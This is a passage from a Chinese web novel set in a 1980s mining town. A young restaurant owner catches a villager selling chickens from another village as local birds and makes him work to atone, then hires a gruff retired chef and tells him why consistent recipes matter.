分店每次收购活鸡都是现付现结,从不拖欠款项,这也让曾经被收兔皮的小商贩骗过钱的村人对他们更加信任。 又过了几天,郝宝根带着鸡来分店卖,这次他一口气带过来五只鸡。 这天是周末,贺明珠一大清早就坐着公交来分矿看望外派的厨子和服务员,顺便透露一下新厨子的招聘进展。 见门口摆了一排咯咯叫的大公鸡,她还惊讶了一下,问道:“上次来不是说村里的鸡都卖光了吗?这是哪儿来的鸡啊?” 郝宝根憨厚地笑道:“这是俺家的鸡,都是好鸡,不信您瞧瞧。” 他拎着其中一只鸡的脚,举到了贺明珠面前,公鸡受到惊吓,挣扎着咯咯直叫唤。 郝宝根险些没抓稳,被公鸡在手腕上狠狠啄了一口,疼得他呲牙咧嘴。 贺明珠后退了一步,看卖鸡的这人长得有点眼熟,像是之前见过。 她记性好,想起来这人是之前卖木头的,有着村里人少见的小狡猾和小精明。 贺明珠看看地上的一排鸡,又看看这个明显抓鸡姿势不太熟练的农村小伙。 她眼睛一转,轻轻诈了诈对方:“这鸡,不是你家里养的吧?” 郝宝根动作一僵,说话都结巴了:“鸡、鸡、是、是俺、俺家养的……” 贺明珠慢条斯理地说:“要是你家养的鸡,那你怎么连鸡都抓不稳呢?” 郝宝根急忙把鸡牢牢抱在怀里,卡住它的翅膀,攥住两只鸡爪,强道:“谁说俺抓不稳了?俺刚刚是没注意……” 贺明珠又说:“哦,是你家的鸡的话,你上次怎么给我们店拿了只五年的老公鸡?这么老的鸡,嚼都嚼不动,客人吃了要找我们店麻烦的,你是故意找茬的吧?” 郝宝根急得要跳起来:“不是,不是俺拿的!俺跟他们说俺只要一年的小公鸡!” 贺明珠意味深长地“哦”了一声。 郝宝根这才反应过来刚刚说了些什么,一张黑瘦的脸瞬间变得通红,整个人手足无措,呆立在了原地,不知该如何是好。 贺明军听到声音出来,问贺明珠:“什么意思?这小子拿外头买的饲料鸡骗我们?” 郝宝根没见过贺明军这款的玉面罗刹,急得说不出话了,只会说:“没、没,不是骗……” 贺明军不听他解释,危险地眯起了眼睛,同时开始撸袖子上前。 “好小子,居然敢骗到我头上,我看你是不想活了吧!” 他一把揪住郝宝根的脖领,手臂用力,郝宝根就双脚离地,只剩脚尖点地,脸部涨红,喘不上气。 “俺、俺不是故意要骗你们的……” 贺明军都气笑了:“怎么着,你还是无意骗的?我说呢,之前村里的鸡卖光了,村长都要去其他村买活鸡了,怎么你就能拿出这么多的鸡——原来都是骗人的啊。” 郝宝根现在才知道错了,连声求饶。 贺明珠蹲下来,一一看过地上的五只鸡,替郝宝根说了一句公道话。 “这小子也不算太过分,这些鸡虽然不是郝家村的走地鸡,但也都是农村家养的鸡。” 郝宝根舒了一口气,但随着贺明珠的下一句话,他的心又提了起来。 “不过也不能这么放过他,不如就这么着吧……” 第87章 第87章义务工和新厨子 煤矿人家来了位义务小工。 小工年纪不大,黑黑瘦瘦,见人就满脸堆笑,看起来一副老实头的模样。 分店每天要消耗掉三五只鸡,小工就蹲在后院,负责杀鸡放血拔鸡毛,开膛洗鸡杂,最后把处理好的光板鸡给厨房送过去。 郝家村的人路过时,认出小工,远远地就喊他名字:“宝根,你咋也来饭店上班了?” 郝宝根咧着嘴,似笑又似哭地说:“没,没,俺就是来帮忙,不算上班……” 洗碗的郝大婶笑话他:“你这臭小子,骗谁不好,骗到了小老板头上,这不是给自个儿找事儿嘛。” 郝宝根苦着脸:“俺也没想到她能看出来啊……都是鸡,她咋就发现这鸡不是俺们村的鸡,俺都分不出来……” 女服务员快言快语:“你就是太喜欢玩小心眼,小老板多聪明的人,第一面就知道你是什么德行,还能给你骗人的机会?” 郝宝根小声争执:“俺这不算骗人……店里要收购活鸡,俺送来的不都是活鸡吗……” 郝大婶笑笑不说话,女服务员年轻气盛,当即怼道:“你没骗人?那你为啥要把从胡家湾运来的鸡说成是俺们村的鸡?你这不就是骗人吗?” 郝宝根没话说了,讪讪地嘟囔道:“这城里人,咋比黄鼠狼还能吃鸡……” 女服务员不理他,问郝大婶:“婶娘,你家也孵上小鸡了?” 说起这个,郝大婶来精神了。 “孵了,孵了,俺家炕头上摆得都是要孵的蛋,晚上睡觉都不敢随便翻身,就怕压着了蛋。半夜了还得爬起来几回,给蛋翻翻面。翠兰,你家孵了多少?” 女服务员,也就是郝翠兰,对郝大婶说:“俺爹没叫多孵,就二十来个蛋。” 郝大婶奇异道:“为啥不多孵点儿?这饭店天天都收活鸡,价钱给的也好,离村里又近,多孵几个蛋,把小鸡养大了卖钱多好。” 郝翠兰左右看看,压低声音说:“小老板和俺爹说了,现在是收活鸡,等天气冷了,就要收羊了。现在买几只小羊羔养上,冬天了正好卖给店里。俺爹娘好久没养羊了,这会儿忙着修羊圈、打青草呢,顾不上孵蛋。” 郝大婶一听也心动了,说:“那要不俺家也养几只羊吧,就是家里人手不够用,要是养了羊,找谁去放羊呢?” 一旁竖着耳朵偷听的郝宝根急匆匆插嘴道:“婶,你雇俺吧,俺给你放羊!” “你?” 郝翠兰上下打量他,嗤道:“别是偷了羊去卖吧。” 郝宝根涨红了脸,磕磕巴巴地说:“俺、俺那是以前小时候不懂事儿,俺现在早就改了!” 他渴求地去看郝大婶,低声下气地说:“婶,婶,你家要是养羊的话,就让俺给你放羊吧,保准一头羊也丢不了。” 郝大婶只是笑,并不搭 茬。 郝宝根等了许久,没等到回复,垂头丧气地拎着褪了毛的鸡去厨房。 他不就是以前小时候做错了事么,怎么现在大家就不愿意给他一个改正的机会呢? 郝宝根是孤儿,七八岁上就没了爹妈,不到十岁,爷爷奶奶也都去了,家里就剩他一根独苗。 幸好他姓郝,又住在了郝家村,村里姓郝的人七拐八绕都能扯上亲戚关系,往上数几百年,姓郝的都是同一个祖宗。 因此,看郝宝根可怜,又都是亲戚,村里人多多少少都会给他一口饭吃。 郝宝根就这么吃着百家饭,磕磕绊绊地长大了。 但因为没有长辈教导,加上家里没钱没粮,饿得发慌,郝宝根小时候经常偷鸡摸狗,不是偷东家一只鸡,就是摸走西家一笼窝窝头,惹得人嫌狗憎。 他没事干,游手好闲,成天在村里四处闲逛,招猫惹狗,和同龄人打架,朝管教他的长辈吐口水,气得村里人多次要求村长把这小子撵出郝家村。 后来随着年岁增长,郝宝根终于长出了廉耻心,也不再对村人嫌恶的目光无动于衷,开始想要往正道上走。 但他就不是块种地的材料,又黑又瘦,挥了几下锄头就累得上气不接下气。 村里还是工分制的时候,他每天挣的工分还比不上大姑娘;等开始实行家庭承包联产责任制,郝宝根对着村里分给他的几亩地犯起了难。 别人家种地都是全家老小齐上阵,他这孤零零的光杆司令,种这几亩地就跟要了他的命差不多 郝宝根没能耐,也没耐心种地,不乐意一辈子面朝黄土背朝天,汗珠子摔八瓣洒在贫瘠的土地上。 他就把村里分给自己的地让别人去种,每年打下来的粮食给他分一部分就行。 郝宝根自己则四处找活儿干,帮人跑腿,打短工,挣点快钱。 见村口新开的饭店要收木头,他把家里存着的干木头全送了过去,要知道这可是当年他父母给他留下的结婚用的木头。 就因为这,村里老人没少念叨,这郝宝根一点良心也没有,为了点工业券,把爹妈留下的东西都卖了,败家子啊。 郝宝根才不在乎,就他家里穷得叮当响的样子,他要等到猴年马月才能结婚,还不如把这堆破木头现在就变现了,就算他爹妈泉下有知,也不会骂他的。 这木头本来就是留着给他用的,不管是结婚打家具还是卖了换工业券,那不都是用吗? 郝宝根拿了工业券,和村里人换成了粮食,家里空了许久的大缸终于又装满了,起码三个月不用饿肚子。 最开始听说饭店要收活鸡,郝宝根急得抓耳挠腮,只恨自己人懒,家里鸡窝都荒废多少年了,现买了小鸡来养也来不及。 但没过多久,饭店就快把全村的鸡都买光了。 郝宝根一边嘀咕这城里人难不成都是黄鼠狼成精,一边开动起了小脑筋。 要是他从外面买回了鸡,再卖给饭店,这中间的差价不就归他了吗? 郝宝根说干就干,联系了之前打短工时认识的胡家湾的人,说好了买活鸡的事,又借了驴车,偷偷摸摸带着一车的外村鸡回了村里,并顺利地将鸡卖给了饭店。 正当他暗自得意时,饭店的小老板一眼就发现了他卖的鸡不是本村的。 郝宝根当场震惊。 她是怎么发现的? 难不成这个秀秀气气、干干净净的城里小姑娘还听得懂鸡话? 要不然她怎么一眼就能看出这些鸡是外村的呢? 就算是村里的老人也不见得能一眼分辨出外村鸡和本村鸡啊! 等到被漂亮又凶狠的二老板按着干活赎罪时,某天,郝宝根终于听到了答案。 “小老板,你是怎么发现这黑小子卖的不是本村的鸡?你还会选鸡?” 郝宝根竖起了耳朵,屏气凝神地去听小老板的回答。 “这个啊,其实我当时确实不知道他卖的是外村的鸡还是本村的鸡,看起来都长得差不多呢。” 听到这话,一瞬间,郝宝根的小眼睛都瞪大了。 什么?! 小老板居然分辨不了外村鸡和本村鸡?! 那她是怎么知道他拿外村的鸡来冒充本村的走地鸡的?! 不远处,贺明珠的声音悠悠传来: “不过我认识卖鸡这小子的脸,他之前就在卖木头的事上耍过小手段。人一旦走过捷径,之后总忍不住要一而再再而三的走捷径。我只是随口诈了一下,谁知道他就这么承认了呢?” “啧,还是心理承受能力太弱了啊。” 郝宝根一个趔趄,差点摔倒。 所以其实是他自己承认了以假充真的事吗? 郝宝根悲愤地想:城里人心眼可真多,怪不得爱吃鸡,这和黄鼠狼精有什么差别?! 郝宝根就这样带着悲愤的心情被扣在了分店干活赎罪。 不过,虽然他干活是不给工钱的,但可以蹭店里的员工餐。 郝宝根第一次厚着脸皮蹭饭的时候,那个城里来的服务员看了他两眼,但二老板没说什么,其他人就默认了他可以跟着大伙儿吃饭。 郝宝根很有自知之明,往碗里舀了半碗饭,又夹了几筷子菜,就独自端着碗去了店外,靠着墙根蹲了下来,拿起筷子唏哩呼噜扒饭。 当吃到了第一口,郝宝根的小眼睛放出了震惊到迷茫的光芒。 天底下怎么还会有这么好吃的饭! 他这辈子只吃过两种饭,一种是小时候吃百家饭时,吃到的农户家的粗茶淡饭;一种就是自己乱七八糟做的饭,把粮食和菜煮熟,再撒点盐完事儿。 这两种饭和“好吃”谈不上任何关系,只是为了维持生存而必须的进食。 久而久之,郝宝根的味蕾退化到吃什么都没感觉,舌头像是摆设,吃饭的目的就是把食物嚼碎了倒进胃里,过程没有任何意义。 然而,现在郝宝根却感觉到他的舌头活了。 像是春风唤醒万物,舌尖上沉睡已久的味蕾终于被这一碗普普通通的员工餐叫醒了。 甜味,咸味,酸味,辣味……原来饭菜里可以有这么多复杂的味道,互相冲突又彼此和谐,每一种滋味都让口水止不住地疯狂分泌。 肠胃轰鸣,但不仅仅是因为饥饿。 它们已经做好了准备,热烈地去迎接这一场从未有过的盛宴。 郝宝根拿着筷子的手在颤动,过度激动下,手指几乎握不住两只细细的竹筷。 太好吃了,实在是太好吃了,怎么会有这么好吃的饭菜…… 他埋头苦吃,努力将碗里的食物往嘴里倒,根本顾不上吃相。 即使是当年饿了一周、只能靠水和野果充饥的时候,郝宝根也没有这样的忘乎所以。 似乎天地万物都不存在了,世界上只有他,以及手里的这碗饭。 菜是普通的芹菜,过油清炒,断生就出锅。吃起来脆生生的,甜而多汁,还有种芹菜特有的清香。 肉是中午没卖完的鸡杂,先卤后炒,放了有点腌过头的泡椒和泡姜,极浓郁的酸辣味,光是闻一闻都要让人吞口水。 饭是粗粮,土豆蒸熟压碎,加入玉米粉,和成颗粒状的面粉后上笼蒸熟。口感粗粝有嚼劲,吃起来饱腹感很强。 不管是菜还是饭,都是本地最常见的食物,做法也没有什么特殊之处,无非是蒸炒而已,随便哪家的厨房都能做。 但简简单单的两菜一饭,却让郝宝根吃得忘乎所以,几乎忘了他是谁,他在哪里。 长期营养不良而干涸的身体,此时像是流进来了一道潺潺细流,从胃部蔓延至全身,缓慢却有力地滋养着全身。 直到碗中最后一口饭吃完,对着空荡荡的碗,郝宝根这才如梦初醒。 他终于明白了,为什么那些矿上的工人明明有免费的食堂可以吃,却花着钱、排着队也要到这家店吃饭。 要是他有钱的话,也要天天来村口的饭店大吃大喝。 郝宝根端着空碗,臊眉耷眼地进了屋,见其他人都吃完了,桌上的盘子还没收。 他左右看看,偷偷 摸摸将盘里的剩菜都倒进自己碗中,又拿着勺子去刮干净锅底的饭。 贺明军见他这副做贼似的德行,从背后走过来,冲他肩膀上拍了一下。 郝宝根一个激灵,差点把碗都摔了,回头见是二老板,下意识堆出满脸讨好的笑。 贺明军说:“站直了,大大方方的,吃个饭还鬼鬼祟祟的,下次在屋里坐着吃饭。” 郝宝根哎哎哎地连声答应,反应过来贺明军说的是什么,一脸惊喜地问: “俺下次还能吃?” 贺明军嗤笑一声:“我又不是黄世仁,开的也不是黑店,让你干活归干活,饭还是管的。” 郝宝根笑得眼睛都眯成了一条缝,欢乐地说:“那俺能不能一直就这么干下去啊?” 贺明军挑眉:“怎么,你还想一直在我们店干活啊?” 郝宝根疯狂点头。 要是能一直吃到这样好吃的饭菜,他就算是一辈子给贺家当长工都值了! 贺明军乐了:“看你小子表现吧。” 郝宝根陷入沉思。 表现……要怎么表现呢…… 第二天,贺明军大清早坐着公交车来到分矿,刚走到村口,他就被饭店门口的一大群鸡惊到了。 “哪来这么多的鸡?!” 鸡群旁蹲着的一个人站了起来,正是郝宝根。 他头上顶着几根鸡毛,打着补丁的衣服上全是点点白色的鸡屎,眼圈黑黑的,一看就是一夜没睡。 “二老板!” 郝宝根热情地冲贺明军扑了上来。 “俺把附近村里的走地鸡都买回来了!” 贺明军身后跟着的胖老头嚷嚷着: “咱们提前说好的,我是厨师,杀鸡的活儿可不归我管!” 郝宝根扑向贺明军的动作一顿,迟疑地问道:“二老板,你不在店里当厨师了?” 那他之前说的只要自己在店里干活、就能一直管饭的话还算数吗? 贺明军这趟抽空回一矿,就是为了见这位新招聘的厨子。 贺明珠忙着备考,把招人的事嘱托给了冯解放。 自从成为一矿老店的厨师后,冯老头这段时间是人逢喜事精神爽,既是重新干回了老本行,人生焕发第二春;又是再次开始挣工资,一家之主归了原位。 冯解放按照贺明珠给的菜谱,一丝不苟地做菜,店内老顾客虽然嘀咕怎么换了个厨师,但饭菜口味没变,也就没什么意见了。 而且因为冯解放干了三十多年的厨师,在面对前厅传来的源源不断的新单子时,多线程处理能力极为优秀,游刃有余,可以同时进行煎炒烤炸的工序。 老头经验充足,手脚麻利,一个人在厨房指挥锅碗瓢盆,很是自得其乐。 前厅的客人们只见一道接一道的菜流水似的送出来,点完菜后最多只需等五分钟,就能收获一道热气腾腾的小炒。 还有人专挑正对厨房窗户的位置坐,就为了看冯厨子做饭的画面,有一种后世刷短视频的快乐。 因为中考时间的不断临近,贺明珠已经很少去店里。 她已经做好了这段时间营业额下降、成本上升的准备,除了每周盘一遍账本,剩下的事情都放手不管。 但冯解放是个严于律己到有点刻板的老头,与其他厨子“不占老板便宜就是吃亏”的观念不同,冯老头有着替东家守好店的朴素正义感。 士为知己者死,当初小老板不嫌弃他这个退休老头,如今他也不能趁人之危。 店里的流水清清爽爽,账本上一进一出都写得明明白白,没有一分钱含糊的地方。 老店营业额不仅没有下滑,反而还因为冯解放出菜速度快,而能在同一时间内服务更多顾客。不需要长时间等位,来店里吃饭的人更多了。 而且冯解放还很爱惜东西,不管这东西是公家的还是私人的,一米一菜都不能浪费。 贺明珠会丢掉的白菜梗、茄子把、芹菜根,冯老头都会留下来做菜。而且他用油用盐也很节约,不炒菜的时候就将灶台的火熄了,省下不少煤炭。 因着冯解放的俭省,店内的成本下降了许多,使得当月的毛利增加不少。 贺明珠看到账本时,还以为是写错了数字,怎么这个月的利润居然会比上个月高出那么多? 要知道为了开新店,她动用了一大笔存折上的钱,可以说年后到现在开店的利润都花得差不多。 但要按照现在的盈利水平,用不了多久,存折上的数字又会恢复原状,甚至还会更多。 因此,贺明珠对冯解放更加信任了。 她托冯老头在认识的人里招个新厨子,他二话不说,立刻联系了人品厨艺双双过关的老友。 老友也是退休的国企食堂厨师,和他给儿子让位不同,老友则是因为脾气臭,得罪了领导,要被发配到锅炉房烧锅炉。 老友怒不可遏,他这手是用来铲饭的,不是用来铲煤的,气冲冲找劳资科办了内退。 内退后,他在家里闲不住,寻思着现在改革开放了,要不自己开个小饭馆吧。 但他这臭脾气不仅得罪领导,还得罪顾客。 顾客说要点碗热汤面,他说你不会吃,这时节谁吃汤汤水水的,我给你上一碗干拌面。 顾客说多夹点咸菜,就好这一口,老友脸一拉,夹这么多你吃得完吗?别浪费了我的咸菜。 顾客说多放点辣椒,他就爱吃辣,老友撇着嘴,辣椒不要钱啊,知不知道现在市场上辣椒多少钱一斤? 就这臭脾气,小饭馆没开一周就倒闭了。 要不是看他年纪大,怕出事儿,顾客都想和这老东西打一架。 冯解放把老友介绍给贺明珠时也挺不好意思的。 “他这人就是有个毛病,脾气大,嘴臭,说话不中听。不过人是个好人,从来没贪过厨房的东西,最困难的时候,也没把食堂的肉带回自己家。而且他手艺不错,大锅饭和小炒都能做。小老板,您要是不嫌弃的话,我让他来店里和您见一面?” 分店那边贺明军已经忙到连轴转,放话说再不招厨师他就要撞死在豆腐上。 贺明珠急着招人,对冯解放又比较信任,听了他的话,同意让他那个坏脾气的老友来面试。 面试的那天是周末,等人的时候,贺明珠带了卷子来店里做。 “先说好了,每个月工资要是低于三十五块的话,我可不干!” 店外忽然传来嚷嚷声,贺明珠写卷子的手一顿,转头看向门口。 冯解放带着一个胖老头在门口站着,他一脸的尴尬,连声对胖老头说:“你小点声!老板还没说招不招你呢,你就先谈上待遇了!” 胖老头嘟嘟囔囔:“这不是给私人干活吗?又不是以前给国家干……为了国家牺牲奉献那是应该的,可要是为了个体户,那我可奉献不来。” 冯解放严肃道:“不管是为国家还是为私人,工作就是工作,该怎么干就怎么干,怎么能区别对待?你要是这样的话,那就当我没联系过你吧。” 胖老头不以为意:“你这个老东西,还跟我讲起这一套了。算了算了,就当是老了发挥余热吧。” 他看向店里,发现了角落里正在写卷子的贺明珠,惊讶道: “唉哟,你们店还招童工啊?” 第88章 第88章酥黄菜和三不粘 煤矿人家,三人相对而坐,气氛有些尴尬。 胖老头耐 不住,主动开口打破沉默。 “老冯,你们饭店老板长得还挺显小的,看着像个初中生啊,面相真年轻。” 冯解放无奈地说:“什么长得显小,我们老板本来就是还在上初中。” 胖老头一惊,下意识就问:“老板她爹呢?你们饭店谁在管事儿?总不能老板就是个初中生吧?!” 贺明珠不紧不慢地开口:“我就是管事儿的,这家饭店我说了算。” 胖老头看向贺明珠,又看向一旁的冯解放,见两人不似开玩笑,嘴角抽动,干笑着说: “哈哈,哈哈,年少有为,年少有为啊……” 贺明珠开门见山地说:“我们饭店现在缺个厨师,冯师傅说您厨艺好,人品也不错,把您介绍到我们这儿。大家是第一次见面,您要不先自我介绍一下?” 一听冯解放说他厨艺人品俱好,胖老头脸上原本尴尬的笑立刻变得真情实感起来。 “哎呀,这个老冯,就是爱说实话,全矿务局的厨子也找不出第二个像我这样有良心的,我这个人就是说话直,没什么弯弯绕绕的心眼,跟我相处久了的,没一个说我坏话的……” 见胖老头自吹自擂上了,贺明珠不客气地打断道:“您先自我介绍吧。” 胖老头没说完的话就被卡在了嗓子眼了。 他讪讪地摸摸肉脑袋,不熟练地说:“那什么,我叫曹全安,原来在机电厂食堂上班,后来办内退回家了。之前开了家小饭馆,黄了,现在没工作。老冯和我说你们招厨子,我就来了。” 说着说着,曹全安就忍不住问:“哎,听说你们这儿给厨师一个月开三十五块的工资,真的假的?” 贺明珠颔首:“是真的,不过这是在一矿老店的工资。如果是在分矿新店上班的话,每个月再加十块钱补助。” 曹全安眼睛一下就亮了起来。 “四十五块啊!那行,我干了!你们新店在哪儿,我今天就开始上班!” 曹全安急吼吼站起来,乐得嘴都要咧到后脑勺了。 贺明珠不动声色地说:“您先别急,虽然您对工资很满意,但我还没决定招不招您呢。” 曹全安一愣:“啊?” 冯解放拉着他的胳膊,把他按坐在椅子上。 “急什么,连试菜都没试,光凭你几句话就能定下来?” 曹全安说:“老冯,你没和老板说我会做菜啊?怎么还要试菜?试什么菜?不是我吹,这地界就没有我不会做的菜,天上飞的地下走的水里游的,上手就能做菜。” 他吹完牛,转头对贺明珠说:“那小老板,你说吧,要我做什么菜?” 贺明珠没说话,伸出手,往桌子上放了颗圆滚滚的鸡蛋。 鸡蛋顺着惯性,咕噜噜地滚到桌子边缘,曹全安下意识抬手接住。 贺明珠笑眯眯地说:“那就做一道鸡蛋菜吧。” 鸡蛋? 曹全安拿着鸡蛋进了后厨,环视一圈,厨房里东西倒挺全的,光锅就分了平底尖底铁锅砂锅好几种,调料摆成长长一排,有市面上买的,也有饭店自制的。 要是让他自由决定做什么菜的话,曹全安有把握做一桌乌城版的满汉全席,可现在食材限定在鸡蛋上,那就有点麻烦了。 煎鸡蛋、炒鸡蛋、煮鸡蛋、蒸鸡蛋、蛋炒饭、蛋花汤…… 这些都太简单了,是个人就会做,显不出他的能耐。 可要做点不简单的菜吧,一般大菜里鸡蛋都是作为辅料,不管是芙蓉鸡片还是木樨肉,主角是肉不是鸡蛋,这就和小老板的要求相悖了。 做什么菜呢? 曹全安犯起了难,一双胖手左右摩挲鸡蛋,这小老板可真会给人出难题。 忽然,他脑中的灯泡一亮。 想到了,就做酥黄菜吧! 曹全安随手拿过一只干净大碗,一手打鸡蛋,一手拿筷子,几下就将蛋黄蛋清搅成了一团。 这酥黄菜是他之前和一个东北来的厨子学的,据说这是当地传统菜,也是道甜口的女士菜,吃起来酥香松软,女人孩子都爱吃。 这煤矿人家的小老板既是女人又是小孩,肯定会对甜口菜爱不释手。 再加上酥黄菜是东北那边的特色,乌城本地没几个人吃过。 新奇又好吃,保准小老板吃完了还想吃,试菜这一关还不是轻轻松松一举拿下? 搅匀了鸡蛋,曹全安烧火热锅,在锅中倒入少许油,并将油涂抹全锅。接着倒入半勺鸡蛋液,转动锅把,让鸡蛋液均匀地摊成一张薄薄的小饼后对折。 如是再三,直到碗中的鸡蛋液都被舀完,变成了一摞鸡蛋饼。 曹全安将蛋饼改刀,修成菱形,用碗中剩余的鸡蛋液涂抹在蛋饼上。 他热锅烧油,将蛋饼下锅油炸,直至蛋饼在高温的作用下陆续膨胀起来,像一只只鼓着肚皮的小金鱼。 最后在锅中熬糖,下入蛋饼,将糖浆均匀地裹在蛋饼上。 当酥黄菜上桌时,白瓷盘子中,油炸后的鸡蛋片色泽金黄,裹了一层糖浆后,泛起诱人的光泽。 筷子轻轻一夹,随着鸡蛋片的升高,数根长长的糖丝被拉起来,看着就让人忍不住想要咬一口。 冯解放惊讶道:“老曹,你还有这手艺啊?” 曹全安自得地说:“这算什么,一道小菜而已,要不是小老板要求只能用鸡蛋做菜,满汉全席我都能给你做出来。” 他把盘子转向贺明珠,并递上一双筷子。 “小老板,尝尝?” 贺明珠不客气,拿过筷子,夹了一片鸡蛋就尝起来。 随着她的动作,细细的糖丝裹在鸡蛋上,随着拉力增强,在绷紧到了极致后,纷纷断裂。 牙齿轻轻咬下去,能感受到油炸过后鸡蛋的酥脆,某种程度上有点像薯片,但又和薯片不完全相同,酥黄菜的内里是松软而细腻的。 而外层在酥脆的同时,又能品尝到香甜的味道,每一口都是复合的口感,让人回味无穷。 贺明珠放下筷子,夸赞一句:“以前光知道有拔丝红薯这道菜,没想到鸡蛋也能拔丝。曹师傅,您这手艺相当可以啊。” 冯解放也尝了一口,说:“炸鸡蛋的火候把握得刚刚好,一点都没焦。你这糖浆也熬得恰到好处,吃起来尝不出一丝苦味。” 曹全安更得意了,摸着肉脑袋嘿嘿地笑。 “就我这手艺,不是我吹,整个矿务局都找不出几个比我做菜更好吃的了。要不是我这人没心眼,说话直,友谊饭店的大厨我也当得起。” 友谊饭店是矿务局最高档的一家国营饭店,来吃饭的都是局里的领导干部,以前不对外接待。也就是现在改革开放了,才开始对外营业。 不过友谊饭店的消费高,一顿饭动辄要花几十块钱,普通人也吃不起。 据说友谊饭店的厨师都是在北京钓鱼台宾馆进修过的,还和前清御厨的传人学过,会做宫廷菜,论起厨艺来,在本地几乎没有竞争对手。 曹全安拿友谊饭店给自己抬身价,纯粹是往老脸上贴金。 冯解放咳了一声,示意他收敛点儿。 曹全安只当没听见,腆着脸皮说:“小老板,酥黄菜好吃吧?我这试菜算不算过了?” 贺明珠爽快地说:“您厨艺确实不错,今天就来上班吧。先在一矿这边跟着冯师傅干一周,等熟悉菜谱了,就去分矿新店轮班,三天一换班。” 她又对冯解放说:“冯师傅,这段时间就辛苦您带一带曹师傅,把咱们饭店的调味、菜量什么的都让他熟悉熟悉,省得去了分店手忙脚乱。” 冯解放应道:“小老板,你就放心吧。” 曹全安急着挣四十五块的工资,反驳道:“老冯会做的菜我都会,他不会的我也会,没必要让他教我,这不浪费时间吗?” 贺明珠没说话,冯解放主动解释道: “不是说我教你做菜,而是我们店做菜都要按菜谱来,倒多少油、放多少盐、炒多长时间都有固定要求,这样做出菜的口味也都差不多 ,不能按你的老习惯来。” 曹全安听了这话,纳闷道: “我都干了三十多年厨子了,这做个菜还得从头按菜谱来?那我这么多年不都白干了吗?这和师父带小工有什么差别?” 见老友没理解他的意思,冯解放急道: “怎么就和你说不清楚了?都说了不是从头教你做菜,而是你做菜时得按店里菜谱来,不能随你的性子,想不放盐就不放盐,想放酱油就放酱油,那出锅的菜不得成了一个厨子一个味儿啊?来吃饭的客人能满意吗?” 曹全安不知是不是脑子转不过这个弯,固执地说: “不行不行,这我可不干,放个盐放个酱油还得听人指挥,随便招个小工都能干的活儿,叫我来干嘛?老冯头,要不你在矿上食堂干不下去呢,人家让你干嘛你就干嘛,一点都不实事求是,太随波逐流了。” 冯解放说不过曹全安,气得老头脸都涨红了。 曹全安还对贺明珠说:“小老板,不是我说,你这年纪轻轻的容易异想天开,做菜哪能都按菜谱来?新手才这么干,老手都是自由发挥。再说了,这菜谱还不一定写的靠不靠谱呢,你们得听我的,我有经验,我做出的菜客人们都爱吃。那什么破菜谱赶紧扔了吧,哪家正经饭店教厨子做饭啊?” 面对曹全安的质疑,贺明珠只来了一句: “曹师傅,既然你这么说,那你之前开的那家小饭馆一定生意很红火啊。” 这句话戳中了曹全安的死穴。 他的小饭馆生意哪里红火了,除了第一天开业街坊邻居们来捧了个场,其他时间都是门庭冷落,一天也没几个来吃饭的客人。 曹全安百思不得其解,他做的饭哪里不好吃了,怎么就没个识货的人呢? 饭确实好吃,但他这个老板实在难缠。 曹全安在国企养了一身臭脾气,从来对客人没个好脸色,进店吃饭就像欠了他的,恨不能让客人进门放下钱就走。 吃得太快——牛嚼牡丹,懂个屁; 吃得太慢——磨磨蹭蹭什么呢,赶紧吃完把桌子腾出来啊。 吃得太多——瞧那抠抠搜搜的德行,恨不能连菜汤也舔干净; 吃得太少——浪费粮食,搁以前饥荒那年代,树皮都要啃,现在放着好端端的饭不吃,一个个惯得臭毛病。 客人也不是欠虐,谁没事儿干上饭馆花钱找骂,这不是纯粹贱得慌吗? 没过多久,曹全安的小饭馆就倒了,临关门时还欠了别人大几百块的开店钱。 当贺明珠问曹全安,他的小饭馆生意是不是很红火时,曹全安老脸涨得通红,一句话都说不出来。 冯解放看了解气,心想让你老小子再狂,狂得没边了,见谁都想当孙子似的教训。 解气完,他还是给曹全安找了个台阶下。 “这老东西只会做饭,不会做生意,他也就剩一张嘴了,实际都是纸上谈兵。” 贺明珠笑着说:“刚刚听曹师傅说了那么多,我还以为他在饭店生意上有独门秘诀呢,刚想讨教一番,也好以后多向同行学习。” 曹全安嘟嘟囔囔地说:“不说开店,光说做饭的事,也不该让厨子照着菜谱做啊,这哪能做出好菜?就说今天这道酥黄菜,要是只照着菜谱做,那什么时候也吃不着酥黄菜啊。” 贺明珠问曹全安:“曹师傅,您觉得开饭店最要紧的是什么?” 曹全安脱口而出:“好吃!” “错。” 在冯解放和曹全安惊讶的目光中,贺明珠坦然地说:“是稳定。” “稳定的产出,稳定的口味,稳定的质量——客人无论何时来店里吃饭,都能吃到近乎相同的菜,不需要担心上一顿是美味,下一顿就变得难吃。也不需要担心因为店里换了厨师,原本好吃的菜现在变得味同嚼蜡。” 曹全安从未听说过这种理论,怀疑地问:“难道客人就不会吃腻吗?” 贺明珠说:“当然会啊。” 曹全安不理解了,既然客人会吃腻,那为什么还要顽固地要求厨师按菜谱来做菜呢? 冯解放看出了他的疑惑,解释道:“我们店定期上新菜,这样如果客人对吃腻了原来的菜,也可以用新菜来换一换口味。” 新菜吗? 可新菜不还是按菜谱来做吗?那和之前的旧菜有什么差别? 不管客人什么时候来吃饭,也不管做菜的是哪个厨师,相同的菜永远都是相同的味道,没有任何变化,也没有厨师特色,这有什么意义呢? 贺明珠笑眯眯地说:“对于客人来说,一家饭店不需要有过多的惊喜,毕竟惊喜变了质就是惊吓。” “就像是一道西红柿炒鸡蛋,今天冯师傅放了糖,明天曹师傅放了盐,后天再换一个新师傅,他放的是辣椒——这道西红柿炒鸡蛋永远处于不确定的状态,谁也猜不出到底是什么口味。客人想吃甜口的,却吃到了辣味版西红柿炒鸡蛋,这难道会让客人高兴吗?” “又比如粽子,北方人吃的是蜜枣粽,南方人吃的是咸肉粽,虽然两种口味都好吃,但饭店给北方人上了一盘子咸肉粽,给南方人上的是蜜枣粽,客人直到咬开粽子,才知道自己吃的是什么馅儿的。也许有人会觉得这挺好玩儿的,但对更多的人来说,这就是惊吓。” 贺明珠双手按在桌子上,站了起来,居高临下地与曹全安对视。 “我不追求惊喜,更不需要惊吓,我只要求稳定地向客人提供水准线以上的美食。无论客人什么时候来吃,无论做菜的厨师是谁,饭菜的味道都会和他记忆中一样美味。” “这就是我对厨师的要求。” 大概是被贺明珠的气势所震慑,曹全安一时间说不出话来,满脑子都是贺明珠说的话。 原来,开饭店最重要的是求稳吗…… 他没注意到,一旁的冯解放目光复杂地看着贺明珠。 小老板这是……将厨师的作用压到了最低啊…… 虽然他之前隐隐有觉察,但没有贺明珠今天说得这么直白。 